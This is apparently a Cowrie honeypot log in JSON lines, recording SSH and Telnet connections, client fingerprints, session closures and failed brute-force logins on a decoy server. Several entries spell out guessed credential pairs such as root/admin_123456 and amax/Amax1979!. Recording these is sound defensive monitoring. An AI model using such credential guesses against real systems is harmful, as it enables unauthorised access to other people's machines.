{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:51.151256Z","src_ip":"102.213.34.99","session":"81d8be7474ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin_123456","message":"login attempt [root/admin_123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:51.862320Z","src_ip":"102.213.34.99","session":"81d8be7474ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57738,"dst_ip":"159.203.135.109","dst_port":22,"session":"e85b036bd716","protocol":"ssh","message":"New connection: 159.203.92.129:57738 (159.203.135.109:22) [session: e85b036bd716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:52.941273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:52.946291Z","src_ip":"159.203.92.129","session":"e85b036bd716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:52.964986Z","src_ip":"159.203.92.129","session":"e85b036bd716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"Amax","message":"login attempt [amax/Amax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:52.978285Z","src_ip":"159.203.92.129","session":"e85b036bd716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:53.035424Z","src_ip":"102.213.34.99","session":"81d8be7474ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:53.990203Z","src_ip":"159.203.92.129","session":"e85b036bd716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.923017740249634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:57.130655Z","src_ip":"162.253.42.116","session":"d5c5e601a544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.417563676834106,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:40:57.479733Z","src_ip":"162.253.42.116","session":"7a6d823a8c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":40252,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a257df94dbf","protocol":"telnet","message":"New connection: 104.248.46.74:40252 (159.203.135.109:23) [session: 7a257df94dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:01.606729Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.148.20","src_port":44960,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2de34b2734a","protocol":"telnet","message":"New connection: 172.105.148.20:44960 (159.203.135.109:23) [session: c2de34b2734a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:02.479862Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41316,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2218b7ba880","protocol":"telnet","message":"New connection: 104.248.46.74:41316 (159.203.135.109:23) [session: b2218b7ba880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:05.614788Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41860,"dst_ip":"159.203.135.109","dst_port":23,"session":"aab47e9918cd","protocol":"telnet","message":"New connection: 104.248.46.74:41860 (159.203.135.109:23) [session: aab47e9918cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:08.547400Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"d02c0f4db160","protocol":"telnet","message":"New connection: 104.248.46.74:42422 (159.203.135.109:23) [session: d02c0f4db160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:11.987017Z"}
{"eventid":"cowrie.session.closed","duration":34.49948215484619,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:13.981710Z","src_ip":"162.253.42.116","session":"de32e7aef093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.23694586753845,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:19.998737Z","src_ip":"208.82.116.131","session":"a4d6a957cb67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":46594,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24e0ba48353","protocol":"telnet","message":"New connection: 104.248.46.74:46594 (159.203.135.109:23) [session: f24e0ba48353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:27.361647Z"}
{"eventid":"cowrie.session.closed","duration":32.5996356010437,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:34.206249Z","src_ip":"104.248.46.74","session":"7a257df94dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34336,"dst_ip":"10.17.0.5","dst_port":23,"session":"046ee05455b8","protocol":"telnet","message":"New connection: 162.253.42.116:34336 (10.17.0.5:23) [session: 046ee05455b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:34.477532Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34378,"dst_ip":"10.17.0.5","dst_port":23,"session":"550d79e352e9","protocol":"telnet","message":"New connection: 162.253.42.116:34378 (10.17.0.5:23) [session: 550d79e352e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:34.545249Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49288,"dst_ip":"159.203.135.109","dst_port":23,"session":"07a6d81f3e9e","protocol":"telnet","message":"New connection: 104.248.46.74:49288 (159.203.135.109:23) [session: 07a6d81f3e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:36.125462Z"}
{"eventid":"cowrie.session.closed","duration":35.16420578956604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:37.643953Z","src_ip":"172.105.148.20","session":"c2de34b2734a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38178,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbc65151704d","protocol":"ssh","message":"New connection: 159.203.92.129:38178 (159.203.135.109:22) [session: fbc65151704d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:37.760465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:37.765758Z","src_ip":"159.203.92.129","session":"fbc65151704d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:37.770799Z","src_ip":"159.203.92.129","session":"fbc65151704d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"Amax1979!","message":"login attempt [amax/Amax1979!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:37.787472Z","src_ip":"159.203.92.129","session":"fbc65151704d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49010,"dst_ip":"159.203.135.109","dst_port":23,"session":"a91c028069a6","protocol":"telnet","message":"New connection: 104.248.46.74:49010 (159.203.135.109:23) [session: a91c028069a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:38.273121Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:38.795274Z","src_ip":"159.203.92.129","session":"fbc65151704d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44008,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4162e68e9a","protocol":"telnet","message":"New connection: 162.253.42.116:44008 (10.17.0.5:23) [session: 0d4162e68e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:42.734165Z"}
{"eventid":"cowrie.session.closed","duration":38.35762810707092,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:43.972300Z","src_ip":"104.248.46.74","session":"b2218b7ba880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11494469642639,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:45.662246Z","src_ip":"104.248.46.74","session":"aab47e9918cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99927639961243,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:49.986163Z","src_ip":"104.248.46.74","session":"d02c0f4db160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41944,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a1d5b43505","protocol":"telnet","message":"New connection: 208.82.116.131:41944 (159.203.135.109:23) [session: 64a1d5b43505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:55.858319Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f03c1fc498bc","protocol":"telnet","message":"New connection: 208.82.116.131:41994 (159.203.135.109:23) [session: f03c1fc498bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:55.893426Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60934,"dst_ip":"10.17.0.5","dst_port":23,"session":"87590af8a3c0","protocol":"telnet","message":"New connection: 162.253.42.116:60934 (10.17.0.5:23) [session: 87590af8a3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:41:57.237650Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":46590,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a31c1475a27","protocol":"telnet","message":"New connection: 208.82.116.131:46590 (159.203.135.109:23) [session: 4a31c1475a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:06.462396Z"}
{"eventid":"cowrie.session.closed","duration":32.88560914993286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:09.010961Z","src_ip":"104.248.46.74","session":"07a6d81f3e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89632034301758,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:09.373763Z","src_ip":"162.253.42.116","session":"046ee05455b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.37381887435913,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:09.918953Z","src_ip":"162.253.42.116","session":"550d79e352e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47898,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aeb57cd0734","protocol":"telnet","message":"New connection: 162.253.42.116:47898 (10.17.0.5:23) [session: 2aeb57cd0734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:10.891251Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0e86f5ecb6","protocol":"telnet","message":"New connection: 162.253.42.116:49588 (10.17.0.5:23) [session: 0c0e86f5ecb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:13.475074Z"}
{"eventid":"cowrie.session.closed","duration":36.298084020614624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:14.571107Z","src_ip":"104.248.46.74","session":"a91c028069a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.19152474403381,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:17.925591Z","src_ip":"162.253.42.116","session":"0d4162e68e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36090,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb92debb12e","protocol":"ssh","message":"New connection: 159.203.92.129:36090 (159.203.135.109:22) [session: 7eb92debb12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:22.634545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:22.639063Z","src_ip":"159.203.92.129","session":"7eb92debb12e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:22.644076Z","src_ip":"159.203.92.129","session":"7eb92debb12e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"amax","message":"login attempt [amax/amax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:22.657051Z","src_ip":"159.203.92.129","session":"7eb92debb12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:23.663845Z","src_ip":"159.203.92.129","session":"7eb92debb12e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.11308407783508,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:24.474614Z","src_ip":"104.248.46.74","session":"f24e0ba48353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56304,"dst_ip":"159.203.135.109","dst_port":23,"session":"31156daf17c7","protocol":"telnet","message":"New connection: 208.82.116.131:56304 (159.203.135.109:23) [session: 31156daf17c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:29.889841Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56376,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b4adfa442f","protocol":"telnet","message":"New connection: 208.82.116.131:56376 (159.203.135.109:23) [session: 56b4adfa442f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:30.213531Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56914,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87a81668cc7","protocol":"telnet","message":"New connection: 208.82.116.131:56914 (159.203.135.109:23) [session: e87a81668cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:31.429025Z"}
{"eventid":"cowrie.session.closed","duration":34.60737061500549,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:31.844930Z","src_ip":"162.253.42.116","session":"87590af8a3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.549525022506714,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:36.978410Z","src_ip":"208.82.116.131","session":"e87a81668cc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.92822551727295,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:39.786412Z","src_ip":"208.82.116.131","session":"64a1d5b43505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.578256130218506,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:40.471579Z","src_ip":"208.82.116.131","session":"f03c1fc498bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":35126,"dst_ip":"159.203.135.109","dst_port":23,"session":"07fcc6f3de8d","protocol":"telnet","message":"New connection: 104.248.46.74:35126 (159.203.135.109:23) [session: 07fcc6f3de8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:42:42.590569Z"}
